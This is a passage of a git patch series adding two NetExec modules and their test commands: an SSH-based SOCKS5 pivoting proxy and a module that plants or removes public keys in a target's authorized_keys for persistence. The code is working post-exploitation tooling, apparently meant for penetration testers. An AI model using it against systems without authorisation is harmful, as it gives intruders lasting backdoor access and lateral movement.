From 94cf1c49d458999956cad62af06eef5cbb702cf4 Mon Sep 17 00:00:00 2001 From: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> Date: Tue, 19 Aug 2025 06:58:31 -0400 Subject: [PATCH 01/14] Add files via upload Signed-off-by: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/ssh_socks.py | 172 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 172 insertions(+) create mode 100644 nxc/modules/ssh_socks.py diff --git a/nxc/modules/ssh_socks.py b/nxc/modules/ssh_socks.py new file mode 100644 index 0000000000..0e30413998 --- /dev/null +++ b/nxc/modules/ssh_socks.py @@ -0,0 +1,172 @@ +# ~/.nxc/modules/ssh_socks.py +import socket +import struct +import select +import threading +import time + +class NXCModule: + name = "ssh_socks" + description = "SOCKS5 dynamic forwarder defaults to port 1080" + supported_protocols = ["ssh"] + opsec_safe = True + multiple_hosts = False + + def __init__(self): + self.local_port = 1080 + self.bind_host = "127.0.0.1" + self.conn = None + self.transport = None + self.listener = None + self.stop_evt = threading.Event() + + # nxc passes a dict in module_options; PORT is optional + def options(self, context, module_options): + try: + self.local_port = int(module_options.get("PORT", 1080)) + except Exception: + self.local_port = 1080 + context.log.display(f"[ssh_socks] Listening on {self.bind_host}:{self.local_port} (SOCKS5)") + + def on_login(self, context, connection): + """ + Called after SSH auth succeeds. We reuse NetExec's Paramiko transport. + Keep this function alive so NetExec doesn't close the SSH session. + """ + if not hasattr(connection, "conn") or connection.conn is None: + context.log.error("[ssh_socks] SSH client not found on connection.") + return + + self.conn = connection.conn + self.transport = self.conn.get_transport() + if self.transport is None or not self.transport.is_active(): + context.log.error("[ssh_socks] SSH transport not available or inactive.") + return + + # Start SOCKS5 listener + try: + self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.listener.bind((self.bind_host, self.local_port)) + self.listener.listen(128) + except Exception as e: + context.log.error(f"[ssh_socks] Failed to bind {self.bind_host}:{self.local_port} - {e}") + return + + context.log.success(f"[ssh_socks] SOCKS5 forwarder running on {self.bind_host}:{self.local_port}") + + t = threading.Thread(target=self._accept_loop, args=(context,), daemon=True) + t.start() + + # Block so NetExec keeps the SSH session open (Ctrl+C to stop) + try: + while t.is_alive() and not self.stop_evt.is_set(): + time.sleep(0.5) + finally: + self.stop_evt.set() + try: + if self.listener: + self.listener.close() + except Exception: + pass + context.log.display("[ssh_socks] Stopped.") + + # ---------- Internals ---------- + + def _accept_loop(self, context): + while not self.stop_evt.is_set(): + try: + client, _ = self.listener.accept() + except OSError: + break + threading.Thread(target=self._handle_client, args=(context, client), daemon=True).start() + + def _handle_client(self, context, client): + remote = None + try: + # ===== SOCKS5 handshake ===== + # greeting + data = self._recv_exact(client, 2) + if not data or data[0] != 0x05: + raise ValueError("Not SOCKS5") + n_methods = data[1] + _ = self._recv_exact(client, n_methods) # ignore offered methods + client.sendall(b"\x05\x00") # version 5, NO AUTH + + # request + hdr = self._recv_exact(client, 4) + if not hdr or hdr[0] != 0x05 or hdr[1] != 0x01: # CONNECT only + # reply: command not supported + try: client.sendall(b"\x05\x07\x00\x01\0\0\0\0\x00\x00") + except Exception: pass + return + + atyp = hdr[3] + if atyp == 0x01: # IPv4 + dst_addr = socket.inet_ntoa(self._recv_exact(client, 4)) + elif atyp == 0x03: # DOMAIN + ln = self._recv_exact(client, 1)[0] + dst_addr = self._recv_exact(client, ln).decode(errors="ignore") + elif atyp == 0x04: # IPv6 (optional) + raw = self._recv_exact(client, 16) + dst_addr = socket.inet_ntop(socket.AF_INET6, raw) + else: + try: client.sendall(b"\x05\x08\x00\x01\0\0\0\0\x00\x00") + except Exception: pass + return + + dst_port = struct.unpack(">H", self._recv_exact(client, 2))[0] + + # ===== Open SSH direct-tcpip channel ===== + if self.transport is None or not self.transport.is_active(): + raise RuntimeError("SSH transport inactive") + + # originator tuple can be anything local-ish; it's metadata for the server + originator = ("127.0.0.1", 0) + remote = self.transport.open_channel( + "direct-tcpip", + (dst_addr, dst_port), + originator + ) + + # reply success + # BND.ADDR & BND.PORT are the proxy’s bind; we just return 0.0.0.0:0 + reply = b"\x05\x00\x00\x01" + socket.inet_aton("0.0.0.0") + struct.pack(">H", 0) + client.sendall(reply) + + # ===== Pump data ===== + self._pump(client, remote) + + except Exception as e: + context.log.error(f"[ssh_socks] SOCKS5 handler error: {e}") + finally: + try: client.close() + except Exception: pass + if remote: + try: remote.close() + except Exception: pass + + def _pump(self, c, r): + bufsz = 65536 + sockets = [c, r] + while True: + rd, _, _ = select.select(sockets, [], []) + if c in rd: + data = c.recv(bufsz) + if not data: + break + r.sendall(data) + if r in rd: + data = r.recv(bufsz) + if not data: + break + c.sendall(data) + + def _recv_exact(self, sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + return None + buf += chunk + return buf \ No newline at end of file From 0e47d4f5e2ac573ea77963a914883e8c8631e327 Mon Sep 17 00:00:00 2001 From: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> Date: Tue, 19 Aug 2025 10:03:43 -0400 Subject: [PATCH 02/14] Update ssh_socks.py Signed-off-by: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/ssh_socks.py | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/nxc/modules/ssh_socks.py b/nxc/modules/ssh_socks.py index 0e30413998..6baebce568 100644 --- a/nxc/modules/ssh_socks.py +++ b/nxc/modules/ssh_socks.py @@ -22,11 +22,30 @@ def __init__(self): # nxc passes a dict in module_options; PORT is optional def options(self, context, module_options): + # Existing port option try: self.local_port = int(module_options.get("PORT", 1080)) except Exception: self.local_port = 1080 context.log.display(f"[ssh_socks] Listening on {self.bind_host}:{self.local_port} (SOCKS5)") + + # Options for kex and hostkey for legacy systems + kex = module_options.get("KEX") + hostkey = module_options.get("HOSTKEY") + + if kex: + algos = [x.strip() for x in kex.split(",") if x.strip()] + context.log.display(f"[ssh_socks] Forcing KEX algos: {algos}") + # Patch paramiko defaults + from paramiko.transport import Transport + Transport._preferred_kex = algos + + if hostkey: + algos = [x.strip() for x in hostkey.split(",") if x.strip()] + context.log.display(f"[ssh_socks] Forcing hostkey algos: {algos}") + from paramiko.transport import Transport + Transport._preferred_pubkeys = algos + def on_login(self, context, connection): """ @@ -169,4 +188,4 @@ def _recv_exact(self, sock, n): if not chunk: return None buf += chunk - return buf \ No newline at end of file + return buf From 6af938659bad0c2c5b65db31dc87d1477d3afafc Mon Sep 17 00:00:00 2001 From: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> Date: Tue, 19 Aug 2025 10:46:09 -0400 Subject: [PATCH 03/14] Add files via upload Signed-off-by: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/ssh_persist_key.py | 172 +++++++++++++++++++++++++++++++++ 1 file changed, 172 insertions(+) create mode 100644 nxc/modules/ssh_persist_key.py diff --git a/nxc/modules/ssh_persist_key.py b/nxc/modules/ssh_persist_key.py new file mode 100644 index 0000000000..0f73fe26cb --- /dev/null +++ b/nxc/modules/ssh_persist_key.py @@ -0,0 +1,172 @@ +# ~/.nxc/modules/ssh_persist_key.py +import os +import time + +class NXCModule: + name = "ssh_persist_key" + description = "Inject or remove a public key in ~/.ssh/authorized_keys for persistence (Linux)" + supported_protocols = ["ssh"] + opsec_safe = True + multiple_hosts = False + + def options(self, context, module_options): + # Options: + # PUBKEY : path to local public key file (or literal key string starting with "ssh-") + # USER : target username (default: current SSH user) + # BACKUP : true/false (default: true) – backup authorized_keys if it exists + # REMOVE : true/false (default: false) – remove the key instead of adding + self.pubkey_opt = module_options.get("PUBKEY", "").strip() + self.target_user = module_options.get("USER", "").strip() + self.backup = str(module_options.get("BACKUP", "true")).lower() in ("1", "true", "yes", "y") + self.remove = str(module_options.get("REMOVE", "false")).lower() in ("1", "true", "yes", "y") + + if not self.pubkey_opt: + raise ValueError("PUBKEY is required (path to .pub or a literal 'ssh-...' key)") + + def on_login(self, context, connection): + # Only Linux is supported here (NetExec tracks this) + if getattr(connection, "server_os_platform", "").lower() != "linux": + context.log.error("[ssh_persist_key] Target OS not Linux – aborting.") + return + + if not hasattr(connection, "conn") or connection.conn is None: + context.log.error("[ssh_persist_key] No SSH client available.") + return + + # Determine target username + ssh_user = getattr(connection, "username", None) + if not self.target_user: + # fall back to the SSH username or remote whoami + self.target_user = ssh_user or self._remote_whoami(connection) or "root" + + # Resolve the target user's home directory + home = self._remote_user_home(connection, self.target_user) + if not home: + context.log.error(f"[ssh_persist_key] Unable to resolve home dir for user '{self.target_user}'.") + return + + ssh_dir = f"{home}/.ssh" + auth_keys = f"{ssh_dir}/authorized_keys" + + # Load/prepare the public key text + pubkey_text = self._load_pubkey_text(context, self.pubkey_opt) + if not pubkey_text.startswith("ssh-"): + context.log.error("[ssh_persist_key] PUBKEY does not look like a valid SSH public key.") + return + + key_id = " ".join(pubkey_text.split()[:2]) # (type + base64), ignore trailing comment for matching + + try: + sftp = connection.conn.open_sftp() + + # Ensure ~/.ssh exists with correct perms + self._ensure_dir(context, connection, sftp, ssh_dir, owner=self.target_user) + + # Fetch existing authorized_keys if present + existing = "" + try: + with sftp.file(auth_keys, "r") as f: + existing = f.read().decode("utf-8", errors="ignore") + except IOError: + existing = "" + + if self.remove: + # Remove the key if present + if key_id in existing: + new_content = self._remove_key_lines(existing, key_id) + self._write_with_perms(connection, sftp, auth_keys, new_content, owner=self.target_user) + context.log.success("[ssh_persist_key] Key removed from authorized_keys.") + else: + context.log.info("[ssh_persist_key] Key not present; nothing to remove.") + sftp.close() + return + + # Add mode + if key_id in existing: + context.log.success("[ssh_persist_key] Key already present in authorized_keys.") + else: + if self.backup and existing: + ts = time.strftime("%Y%m%d-%H%M%S") + backup_path = f"{auth_keys}.bak-{ts}" + try: + # simple remote copy via shell (POSIX) + connection.conn.exec_command(f"cp -p {self._q(auth_keys)} {self._q(backup_path)} 2>/dev/null || true") + context.log.info(f"[ssh_persist_key] Backed up authorized_keys -> {backup_path}") + except Exception: + pass + + new_content = (existing.rstrip("\n") + "\n" if existing else "") + pubkey_text.strip() + "\n" + self._write_with_perms(connection, sftp, auth_keys, new_content, owner=self.target_user) + context.log.success("[ssh_persist_key] Key added to authorized_keys.") + + sftp.close() + + except Exception as e: + context.log.error(f"[ssh_persist_key] Error: {e}") + + # -------------------- helpers -------------------- + + def _load_pubkey_text(self, context, pubkey_opt): + # If it starts with "ssh-" treat as literal key, else read local file path + if pubkey_opt.startswith("ssh-"): + return pubkey_opt.strip() + # Expand local path and read + path = os.path.expanduser(pubkey_opt) + with open(path, "r", encoding="utf-8", errors="ignore") as f: + return f.read().strip() + + def _remote_whoami(self, connection): + try: + _, stdout, _ = connection.conn.exec_command("whoami 2>/dev/null || id -un 2>/dev/null") + return stdout.read().decode().strip() or None + except Exception: + return None + + def _remote_user_home(self, connection, user): + # Prefer getent; fallback to ~user expansion + try: + _, stdout, _ = connection.conn.exec_command(f"getent passwd {self._q(user)} | cut -d: -f6") + out = stdout.read().decode().strip() + if out: + return out + except Exception: + pass + try: + _, stdout, _ = connection.conn.exec_command(f"eval echo ~{self._q(user)}") + out = stdout.read().decode().strip() + return out or None + except Exception: + return None + + def _ensure_dir(self, context, connection, sftp, path, owner): + # mkdir -p with perms; fix perms after + try: + connection.conn.exec_command(f"mkdir -p {self._q(path)} && chmod 700 {self._q(path)}") + # chown only if running as root + connection.conn.exec_command(f"id -u {self._q(owner)} >/dev/null 2>&1 && chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true") + except Exception as e: + context.log.info(f"[ssh_persist_key] mkdir/chmod note: {e}") + + def _write_with_perms(self, connection, sftp, path, content, owner): + # Write file atomically-ish, then set perms/ownership + tmp = f"{path}.tmp-{int(time.time())}" + with sftp.file(tmp, "w") as f: + f.write(content.encode("utf-8")) + # Move into place and fix perms + connection.conn.exec_command(f"mv -f {self._q(tmp)} {self._q(path)} && chmod 600 {self._q(path)} && " + f"(chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true)") + + def _remove_key_lines(self, existing, key_id): + lines = existing.splitlines() + keep = [] + for ln in lines: + # Match by first two fields (type + base64) + parts = ln.strip().split() + if len(parts) >= 2 and " ".join(parts[:2]) == key_id: + continue + keep.append(ln) + return "\n".join(keep).rstrip("\n") + ("\n" if keep else "") + + def _q(self, s): + # very basic shell quoting for paths/usernames (no spaces in typical paths) + return "'" + s.replace("'", "'\\''") + "'" \ No newline at end of file From 3c363b1d11aa5f2dd8d4a0ff084a1755cae6e8b5 Mon Sep 17 00:00:00 2001 From: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> Date: Tue, 19 Aug 2025 15:23:02 -0400 Subject: [PATCH 04/14] Update and rename ssh_persist_key.py to persist_key.py Signed-off-by: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/persist_key.py | 226 +++++++++++++++++++++++++++++++++ nxc/modules/ssh_persist_key.py | 172 ------------------------- 2 files changed, 226 insertions(+), 172 deletions(-) create mode 100644 nxc/modules/persist_key.py delete mode 100644 nxc/modules/ssh_persist_key.py diff --git a/nxc/modules/persist_key.py b/nxc/modules/persist_key.py new file mode 100644 index 0000000000..0d5b425094 --- /dev/null +++ b/nxc/modules/persist_key.py @@ -0,0 +1,226 @@ +# ~/.nxc/modules/persist_key.py +import os +import time + +class NXCModule: + name = "persist_key" + description = "Inject or remove public key(s) in ~/.ssh/authorized_keys for persistence (Linux)" + supported_protocols = ["ssh"] + opsec_safe = True + multiple_hosts = False + + def options(self, context, module_options): + self.pubkey_opt = module_options.get("PUBKEY", "").strip() + self.target_user = module_options.get("USER", "").strip() + self.backup = str(module_options.get("BACKUP", "true")).lower() in ("1", "true", "yes", "y") + self.remove_raw = module_options.get("REMOVE", "false").lower() + + # Determine remove mode + if self.remove_raw in ("1", "true", "yes", "y"): + self.remove_mode = "key" + elif self.remove_raw == "backup": + self.remove_mode = "backup" + else: + self.remove_mode = None + + # Legacy SSH options + self.kex = module_options.get("KEX") + self.hostkey = module_options.get("HOSTKEY") + + if self.kex: + algos = [x.strip() for x in self.kex.split(",") if x.strip()] + context.log.display(f"[ssh_persist_key] Forcing KEX algos: {algos}") + from paramiko.transport import Transport + Transport._preferred_kex = algos + + if self.hostkey: + algos = [x.strip() for x in self.hostkey.split(",") if x.strip()] + context.log.display(f"[ssh_persist_key] Forcing hostkey algos: {algos}") + from paramiko.transport import Transport + Transport._preferred_pubkeys = algos + + # Auto-discover keys if PUBKEY not given + if not self.pubkey_opt: + default_keys = ["id_rsa.pub", "id_ecdsa.pub", "id_ed25519.pub", "id_dsa.pub"] + found_keys = [] + for k in default_keys: + candidate = os.path.expanduser(f"~/.ssh/{k}") + if os.path.isfile(candidate): + found_keys.append(candidate) + if not found_keys: + raise ValueError("[ssh_persist_key] No default public keys found in ~/.ssh") + self.pubkey_opt = found_keys + else: + self.pubkey_opt = [self.pubkey_opt] + + def on_login(self, context, connection): + # Only Linux + if getattr(connection, "server_os_platform", "").lower() != "linux": + context.log.error("[ssh_persist_key] Target OS not Linux – aborting.") + return + + if not hasattr(connection, "conn") or connection.conn is None: + context.log.error("[ssh_persist_key] No SSH client available.") + return + + ssh_user = getattr(connection, "username", None) + if not self.target_user: + self.target_user = ssh_user or self._remote_whoami(connection) or "root" + + home = self._remote_user_home(connection, self.target_user) + if not home: + context.log.error(f"[ssh_persist_key] Unable to resolve home dir for user '{self.target_user}'.") + return + + ssh_dir = f"{home}/.ssh" + auth_keys = f"{ssh_dir}/authorized_keys" + + try: + sftp = connection.conn.open_sftp() + self._ensure_dir(context, connection, sftp, ssh_dir, owner=self.target_user) + + # Read current authorized_keys + existing = "" + try: + with sftp.file(auth_keys, "r") as f: + existing = f.read().decode("utf-8", errors="ignore") + except IOError: + existing = "" + + # -------------------- REMOVE logic -------------------- + if self.remove_mode: + modified = existing + removed_any = False + + # Remove all attacker keys + for pubkey_path in self.pubkey_opt: + key_id = " ".join(self._load_pubkey_text(context, pubkey_path).split()[:2]) + if key_id in modified: + modified = self._remove_key_lines(modified, key_id) + context.log.success(f"[ssh_persist_key] Removed key {pubkey_path} from authorized_keys.") + removed_any = True + else: + context.log.info(f"[ssh_persist_key] Key {pubkey_path} not present; nothing to remove.") + + if removed_any: + self._write_with_perms(connection, sftp, auth_keys, modified, owner=self.target_user) + + # DELETE backup if REMOVE=backup + if self.remove_mode == "backup": + try: + _, stdout, _ = connection.conn.exec_command( + f"ls -1t {ssh_dir}/authorized_keys.bak-* 2>/dev/null | head -n1" + ) + backup_file = stdout.read().decode().strip() + if backup_file: + _, stdout1, _ = connection.conn.exec_command( + f"sha256sum {self._q(auth_keys)}" + ) + auth_sum = stdout1.read().decode().split()[0] + _, stdout2, _ = connection.conn.exec_command( + f"sha256sum {self._q(backup_file)}" + ) + bak_sum = stdout2.read().decode().split()[0] + if auth_sum == bak_sum: + context.log.info(f"[ssh_persist_key] Backup verified; deleting {backup_file}") + connection.conn.exec_command(f"rm -f {self._q(backup_file)}") + else: + context.log.info(f"[ssh_persist_key] Backup mismatch; not deleting {backup_file}") + except Exception as e: + context.log.info(f"[ssh_persist_key] Error verifying/deleting backup: {e}") + + sftp.close() + return # skip ADD logic + + # -------------------- ADD logic -------------------- + for pubkey_path in self.pubkey_opt: + pubkey_text = self._load_pubkey_text(context, pubkey_path) + if not pubkey_text.startswith("ssh-"): + context.log.error(f"[ssh_persist_key] {pubkey_path} does not look like a valid SSH public key.") + continue + key_id = " ".join(pubkey_text.split()[:2]) + if key_id in existing: + context.log.success(f"[ssh_persist_key] Key {pubkey_path} already present in authorized_keys.") + continue + + # Backup before first modification + if self.backup and existing: + ts = time.strftime("%Y%m%d-%H%M%S") + backup_path = f"{auth_keys}.bak-{ts}" + try: + connection.conn.exec_command( + f"cp -p {self._q(auth_keys)} {self._q(backup_path)} 2>/dev/null || true" + ) + context.log.info(f"[ssh_persist_key] Backed up authorized_keys -> {backup_path}") + except Exception: + pass + + # Append key to existing content + existing = (existing.rstrip("\n") + "\n" if existing else "") + pubkey_text.strip() + "\n" + + # Write all added keys at once + self._write_with_perms(connection, sftp, auth_keys, existing, owner=self.target_user) + context.log.success(f"[ssh_persist_key] Added {len(self.pubkey_opt)} key(s) to authorized_keys.") + + except Exception as e: + context.log.error(f"[ssh_persist_key] Error: {e}") + + # -------------------- helpers -------------------- + def _load_pubkey_text(self, context, pubkey_opt): + if pubkey_opt.startswith("ssh-"): + return pubkey_opt.strip() + path = os.path.expanduser(pubkey_opt) + with open(path, "r", encoding="utf-8", errors="ignore") as f: + return f.read().strip() + + def _remote_whoami(self, connection): + try: + _, stdout, _ = connection.conn.exec_command("whoami 2>/dev/null || id -un 2>/dev/null") + return stdout.read().decode().strip() or None + except Exception: + return None + + def _remote_user_home(self, connection, user): + try: + _, stdout, _ = connection.conn.exec_command(f"getent passwd {self._q(user)} | cut -d: -f6") + out = stdout.read().decode().strip() + if out: + return out + except Exception: + pass + try: + _, stdout, _ = connection.conn.exec_command(f"eval echo ~{self._q(user)}") + return stdout.read().decode().strip() or None + except Exception: + return None + + def _ensure_dir(self, context, connection, sftp, path, owner): + try: + connection.conn.exec_command(f"mkdir -p {self._q(path)} && chmod 700 {self._q(path)}") + connection.conn.exec_command( + f"id -u {self._q(owner)} >/dev/null 2>&1 && chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true" + ) + except Exception as e: + context.log.info(f"[ssh_persist_key] mkdir/chmod note: {e}") + + def _write_with_perms(self, connection, sftp, path, content, owner): + tmp = f"{path}.tmp-{int(time.time())}" + with sftp.file(tmp, "w") as f: + f.write(content.encode("utf-8")) + connection.conn.exec_command( + f"mv -f {self._q(tmp)} {self._q(path)} && chmod 600 {self._q(path)} && " + f"(chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true)" + ) + + def _remove_key_lines(self, existing, key_id): + lines = existing.splitlines() + keep = [] + for ln in lines: + parts = ln.strip().split() + if len(parts) >= 2 and " ".join(parts[:2]) == key_id: + continue + keep.append(ln) + return "\n".join(keep).rstrip("\n") + ("\n" if keep else "") + + def _q(self, s): + return "'" + s.replace("'", "'\\''") + "'" diff --git a/nxc/modules/ssh_persist_key.py b/nxc/modules/ssh_persist_key.py deleted file mode 100644 index 0f73fe26cb..0000000000 --- a/nxc/modules/ssh_persist_key.py +++ /dev/null @@ -1,172 +0,0 @@ -# ~/.nxc/modules/ssh_persist_key.py -import os -import time - -class NXCModule: - name = "ssh_persist_key" - description = "Inject or remove a public key in ~/.ssh/authorized_keys for persistence (Linux)" - supported_protocols = ["ssh"] - opsec_safe = True - multiple_hosts = False - - def options(self, context, module_options): - # Options: - # PUBKEY : path to local public key file (or literal key string starting with "ssh-") - # USER : target username (default: current SSH user) - # BACKUP : true/false (default: true) – backup authorized_keys if it exists - # REMOVE : true/false (default: false) – remove the key instead of adding - self.pubkey_opt = module_options.get("PUBKEY", "").strip() - self.target_user = module_options.get("USER", "").strip() - self.backup = str(module_options.get("BACKUP", "true")).lower() in ("1", "true", "yes", "y") - self.remove = str(module_options.get("REMOVE", "false")).lower() in ("1", "true", "yes", "y") - - if not self.pubkey_opt: - raise ValueError("PUBKEY is required (path to .pub or a literal 'ssh-...' key)") - - def on_login(self, context, connection): - # Only Linux is supported here (NetExec tracks this) - if getattr(connection, "server_os_platform", "").lower() != "linux": - context.log.error("[ssh_persist_key] Target OS not Linux – aborting.") - return - - if not hasattr(connection, "conn") or connection.conn is None: - context.log.error("[ssh_persist_key] No SSH client available.") - return - - # Determine target username - ssh_user = getattr(connection, "username", None) - if not self.target_user: - # fall back to the SSH username or remote whoami - self.target_user = ssh_user or self._remote_whoami(connection) or "root" - - # Resolve the target user's home directory - home = self._remote_user_home(connection, self.target_user) - if not home: - context.log.error(f"[ssh_persist_key] Unable to resolve home dir for user '{self.target_user}'.") - return - - ssh_dir = f"{home}/.ssh" - auth_keys = f"{ssh_dir}/authorized_keys" - - # Load/prepare the public key text - pubkey_text = self._load_pubkey_text(context, self.pubkey_opt) - if not pubkey_text.startswith("ssh-"): - context.log.error("[ssh_persist_key] PUBKEY does not look like a valid SSH public key.") - return - - key_id = " ".join(pubkey_text.split()[:2]) # (type + base64), ignore trailing comment for matching - - try: - sftp = connection.conn.open_sftp() - - # Ensure ~/.ssh exists with correct perms - self._ensure_dir(context, connection, sftp, ssh_dir, owner=self.target_user) - - # Fetch existing authorized_keys if present - existing = "" - try: - with sftp.file(auth_keys, "r") as f: - existing = f.read().decode("utf-8", errors="ignore") - except IOError: - existing = "" - - if self.remove: - # Remove the key if present - if key_id in existing: - new_content = self._remove_key_lines(existing, key_id) - self._write_with_perms(connection, sftp, auth_keys, new_content, owner=self.target_user) - context.log.success("[ssh_persist_key] Key removed from authorized_keys.") - else: - context.log.info("[ssh_persist_key] Key not present; nothing to remove.") - sftp.close() - return - - # Add mode - if key_id in existing: - context.log.success("[ssh_persist_key] Key already present in authorized_keys.") - else: - if self.backup and existing: - ts = time.strftime("%Y%m%d-%H%M%S") - backup_path = f"{auth_keys}.bak-{ts}" - try: - # simple remote copy via shell (POSIX) - connection.conn.exec_command(f"cp -p {self._q(auth_keys)} {self._q(backup_path)} 2>/dev/null || true") - context.log.info(f"[ssh_persist_key] Backed up authorized_keys -> {backup_path}") - except Exception: - pass - - new_content = (existing.rstrip("\n") + "\n" if existing else "") + pubkey_text.strip() + "\n" - self._write_with_perms(connection, sftp, auth_keys, new_content, owner=self.target_user) - context.log.success("[ssh_persist_key] Key added to authorized_keys.") - - sftp.close() - - except Exception as e: - context.log.error(f"[ssh_persist_key] Error: {e}") - - # -------------------- helpers -------------------- - - def _load_pubkey_text(self, context, pubkey_opt): - # If it starts with "ssh-" treat as literal key, else read local file path - if pubkey_opt.startswith("ssh-"): - return pubkey_opt.strip() - # Expand local path and read - path = os.path.expanduser(pubkey_opt) - with open(path, "r", encoding="utf-8", errors="ignore") as f: - return f.read().strip() - - def _remote_whoami(self, connection): - try: - _, stdout, _ = connection.conn.exec_command("whoami 2>/dev/null || id -un 2>/dev/null") - return stdout.read().decode().strip() or None - except Exception: - return None - - def _remote_user_home(self, connection, user): - # Prefer getent; fallback to ~user expansion - try: - _, stdout, _ = connection.conn.exec_command(f"getent passwd {self._q(user)} | cut -d: -f6") - out = stdout.read().decode().strip() - if out: - return out - except Exception: - pass - try: - _, stdout, _ = connection.conn.exec_command(f"eval echo ~{self._q(user)}") - out = stdout.read().decode().strip() - return out or None - except Exception: - return None - - def _ensure_dir(self, context, connection, sftp, path, owner): - # mkdir -p with perms; fix perms after - try: - connection.conn.exec_command(f"mkdir -p {self._q(path)} && chmod 700 {self._q(path)}") - # chown only if running as root - connection.conn.exec_command(f"id -u {self._q(owner)} >/dev/null 2>&1 && chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true") - except Exception as e: - context.log.info(f"[ssh_persist_key] mkdir/chmod note: {e}") - - def _write_with_perms(self, connection, sftp, path, content, owner): - # Write file atomically-ish, then set perms/ownership - tmp = f"{path}.tmp-{int(time.time())}" - with sftp.file(tmp, "w") as f: - f.write(content.encode("utf-8")) - # Move into place and fix perms - connection.conn.exec_command(f"mv -f {self._q(tmp)} {self._q(path)} && chmod 600 {self._q(path)} && " - f"(chown {self._q(owner)}:{self._q(owner)} {self._q(path)} 2>/dev/null || true)") - - def _remove_key_lines(self, existing, key_id): - lines = existing.splitlines() - keep = [] - for ln in lines: - # Match by first two fields (type + base64) - parts = ln.strip().split() - if len(parts) >= 2 and " ".join(parts[:2]) == key_id: - continue - keep.append(ln) - return "\n".join(keep).rstrip("\n") + ("\n" if keep else "") - - def _q(self, s): - # very basic shell quoting for paths/usernames (no spaces in typical paths) - return "'" + s.replace("'", "'\\''") + "'" \ No newline at end of file From bb7efa0f4d05309f28d77beb043ab844f5779b12 Mon Sep 17 00:00:00 2001 From: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> Date: Tue, 19 Aug 2025 15:48:19 -0400 Subject: [PATCH 05/14] Update e2e_commands.txt Signed-off-by: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> --- tests/e2e_commands.txt | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 1a45c3bbac..d46a93279b 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -279,6 +279,17 @@ netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo- netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10 netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put-file TEST_NORMAL_FILE /tmp/test_file.txt --put-file TEST_NORMAL_FILE /tmp/test_file2.txt netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get-file /tmp/test_file.txt /tmp/test_file.txt --get-file /tmp/test_file.txt /tmp/test_file2.txt +##### SMB Modules +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module ssh_socks +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module ssh_socks --port TARGET_PORT +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module ssh_socks -o PORT=1080,KEX=diffie-hellman-group1-sha1,HOSTKEY=ssh-dss +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o PUBKEY=/home/kali/.ssh/id_ed25519.pub +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o USER=alice +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o BACKUP=false +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o REMOVE=true +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o REMOVE=backup +nxc ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --module persist_key -o KEX=diffie-hellman-group14-sha1,HOSTKEY=ssh-rsa ##### FTP- Default test passwords and random key; switch these out if you want correct authentication netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls From 3096ec2980d80f4f49d1680e4045b195a5567c31 Mon Sep 17 00:00:00 2001 From: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> Date: Wed, 20 Aug 2025 08:47:11 -0400 Subject: [PATCH 06/14] Update ssh_socks.py Signed-off-by: overgrowncarrot1 <78485709+overgrowncarrot1@users.noreply.github.com> --- nxc/modules/ssh_socks.py | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/nxc/modules/ssh_socks.py b/nxc/modules/ssh_socks.py index 6baebce568..48bf3a5c29 100644 --- a/nxc/modules/ssh_socks.py +++ b/nxc/modules/ssh_socks.py @@ -28,25 +28,24 @@ def options(self, context, module_options): except Exception: self.local_port = 1080 context.log.display(f"[ssh_socks] Listening on {self.bind_host}:{self.local_port} (SOCKS5)") - + # Options for kex and hostkey for legacy systems kex = module_options.get("KEX") hostkey = module_options.get("HOSTKEY") - 